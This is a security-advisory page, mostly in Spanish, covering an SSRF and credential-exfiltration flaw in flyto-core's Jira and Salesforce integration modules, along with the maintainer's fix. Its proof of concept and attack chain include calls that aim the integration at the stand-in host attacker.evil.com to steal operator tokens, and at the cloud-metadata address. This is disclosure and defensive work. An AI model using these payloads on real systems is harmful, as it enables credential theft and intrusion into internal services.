llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-4346-4GQG-59F9

SSRF and operator-credential exfiltration via unguarded BaseIntegration._request (integration.jira.*, integration.salesforce.*)

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición88 dDesde la divulgación, 23 ago 2026, 9:23 a. m.
Detección87 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.29.0
Monitoreo
Detectada +1
23 ago 26
18 nov 26
20 nov 26
23 ago 26
14 sept 26
6 oct 26
29 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4346-4GQG-59F9 divulgada · CVSS 9.1 (GitHub)
Remediación Parche 2.29.0 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
Every module under `src/core/modules/integrations/` shares `BaseIntegration._request`, which builds outbound requests with a bare `aiohttp.ClientSession` (no SSRF guard) and unconditionally attaches the operator's environment credentials to whatever host the caller names. `integration.jira.*` derives its base URL from a caller-controlled `domain`, and `integration.salesforce.*` from a caller-controlled `instance_url`. An untrusted workflow author can (a) exfiltrate the operator's Jira Basic credentials (`JIRA_EMAIL:JIRA_API_TOKEN`) or Salesforce OAuth bearer token (`SALESFORCE_ACCESS_TOKEN`) by pointing the base URL at an attacker host, and (b) perform SSRF to internal/cloud-metadata endpoints. These modules have no `required_permissions`, so they are reachable under the default policy. No existing advisory covers the `integration.*` family or `BaseIntegration`.

## Root Cause
`BaseIntegration._request` (`integrations/.../client.py:133`) creates a plain `aiohttp.ClientSession(...)` (client.py:93) and fires `session.request(method, url, headers=headers, ssl=verify_ssl)` (client.py:163) with no egress/SSRF validation. `_get_auth_header` attaches operator credentials to every request regardless of target host.
- Jira (`integrations/jira/integration.py`): `base_url = f"https://{self.domain}/rest/api"` (integration.py:62) from the caller's `domain`; `Authorization: Basic base64(email:api_token)` with email/token falling back to `JIRA_EMAIL`/`JIRA_API_TOKEN` (create_issue.py:141-142).
- Salesforce (`integrations/salesforce/integration.py`): `base_url = f"{self.instance_url.rstrip('/')}/services/data"` (integration.py:70) from the caller's `instance_url`; `Authorization: Bearer <access_token>` falling back to `SALESFORCE_ACCESS_TOKEN` (query.py:107-109).

`git grep` for `validate_url_with_env_config|enforce_outbound|guarded_client_session|assert_env_credential_endpoint_allowed|SSRFError` across `src/core/modules/integrations/` returns ZERO — no SSRF or credential-endpoint guard exists in the family. `credential_keys` is static metadata (validator/metadata only), never enforced at runtime.

## Impact
Operator credential theft (Jira Basic creds / Salesforce OAuth bearer) shipped to an attacker-chosen host on the first request (no redirect needed), plus SSRF to internal services and cloud metadata (`169.254.169.254`). Scope Changed (S:C): an integration module reaches internal/back-end services and steals credentials across a trust boundary. C:H (credential + metadata disclosure), I:L/A:L (internal write / DoS via SSRF).

Proof of Concept

# Jira credential exfil:
execute_module("integration.jira.create_issue",
  {"domain":"attacker.evil.com", "project_key":"X", "summary":"y"})
# → operator's Jira Basic creds POSTed to attacker.evil.com

# Salesforce token exfil:
execute_module("integration.salesforce.query",
  {"instance_url":"https://attacker.evil.com", "soql":"SELECT Id FROM Account"})
# → operator's Salesforce bearer token sent to attacker

# SSRF to metadata:
execute_module("integration.jira.create_issue",
  {"domain":"169.254.169.254", ...})

## Attack Chain
1. Entry: `execute_module("integration.jira.create_issue", {domain:"attacker.evil.com", ...})`. Guard: capability/permission gate. Bypass proof: `integration.jira.*` not denylisted; `required_permissions=[]` (registered-modules.md:282) → default-reachable.
2. Check: credential-endpoint allowlist. Guard: siblings such as `llm.chat` use `assert_env_credential_endpoint_allowed`. Bypass proof: `git grep assert_env_credential_endpoint_allowed integrations/` = 0 — no such guard; `_get_auth_header` attaches `Authorization: Basic b64(JIRA_EMAIL:JIRA_API_TOKEN)` to any host.
3. Check: SSRF guard. Bypass proof: `_request` builds `url` from `base_url=f"https://{domain}/rest/api"` (integration.py:62) and calls `session.request(...)` on the plain session (client.py:93,163); SSRF-symbol grep under `integrations/` = 0.
4. Sink: `session.request(method, url, headers=headers, ssl=verify_ssl)` (client.py:163) — creds sent to attacker host / SSRF to internal target.
5. Impact: operator Jira/Salesforce credential theft + SSRF to internal/metadata. C:H, S:C. (Salesforce identical via instance_url → integration.py:70, Bearer token from SALESFORCE_ACCESS_TOKEN.)

## Bypass Evidence
`git grep -n "validate_url_with_env_config\|enforce_outbound\|guarded_client_session\|assert_env_credential_endpoint_allowed\|SSRFError" src/core/modules/integrations/` → no output (exit 1) on v2.28.1. Session is a bare `aiohttp.ClientSession` at client.py:93; base URLs are caller-derived at integration.py:62 (jira) and :70 (salesforce). Zero mentions of jira/salesforce/integration/BaseIntegration across all 30 published advisories.

## Affected Versions
`<= 2.28.1` (sinks verified present on the latest release tag v2.28.1).

## Suggested Fix
Apply the project's SSRF/egress guard and credential-endpoint allowlist (as used by `llm.chat` and the guarded HTTP-family modules) inside `BaseIntegration._request` before dispatch — validate the resolved target and refuse to attach env credentials to non-allowlisted hosts. A single fix at `_request` covers the entire `integration.*` family.

---
Reported by zx (Jace) — GitHub: @manus-use

---

Maintainer note (fix, and one correction to reachability)

Fixed in `2.29.0`. `BaseIntegration._request` now runs the project's egress guard on the built URL, issues requests through the DNS-rebinding-guarded connector, and refuses to attach an environment-derived credential to any host other than the one the operator configured (`JIRA_DOMAIN`, `SALESFORCE_INSTANCE_URL`) or allowlisted via the new `FLYTO_TRUSTED_INTEGRATION_HOSTS`. Credential provenance is now threaded explicitly: both the module wrapper and the integration class performed the environment fallback, which is what made an operator's token indistinguishable from a caller's by the time the request was built. The `oauth` client in the same family moved to the guarded session as well.

Vendor-domain suffixes were deliberately not used as an allowance. Anyone can register `evil.atlassian.net` or a Salesforce org of their choosing, so "the host ends in the vendor's domain" would still hand the operator's credential to an attacker.

Correction to the reachability claim. The report states that these modules "have no `required_permissions`, so they are reachable under the default policy". The permission part is accurate, but the modules are not reachable in the shipped package: nothing imports the `integration.*` subpackages. `integrations/__init__.py` imports only `.base` and `.oauth`, and the `flyto.modules` entry point registers `core.modules.atomic:register_all` only, so the `@register_module` decorators on the Jira/Salesforce/Slack module files never execute. Verified against the source at the time of the report:

execute_module('integration.jira.create_issue',
               {'domain': 'attacker.example.com', 'project_key': 'X', 'summary': 'y'})
-> {'ok': False, 'error': 'Module not found: integration.jira.create_issue'}

The defect itself is real and is exactly as described — a host application that imports `core.modules.integrations.jira` (which `docs/reference/registered-modules.md` advertises as a registered module) does register it, and from that point the credential and SSRF paths are live. The severity has been left as submitted rather than adjusted downward on the maintainer's own reading. The documentation/runtime inconsistency this exposed is tracked separately.

Regression tests: `tests/core/test_reported_advisories_2026_08_19.py` — `test_integration_request_blocks_private_target`, `test_env_credentials_are_not_sent_to_a_caller_named_host`, `test_salesforce_env_token_is_not_sent_to_a_caller_named_host`, `test_caller_supplied_credentials_may_go_to_a_caller_named_host`, `test_env_credential_target_guard_honours_the_operator_allowlist`.

The registry-wide outbound coverage gate (`tests/core/test_outbound_guard_coverage.py`) now imports the `integration.*` families explicitly, so a family sharing a single unguarded sink can no longer be invisible to it.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.28.1
2.28.1
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.29.0 0 d 2.41.0 no afectada
Versiones corregidas2.29.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-4346-4gqg-59f9

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.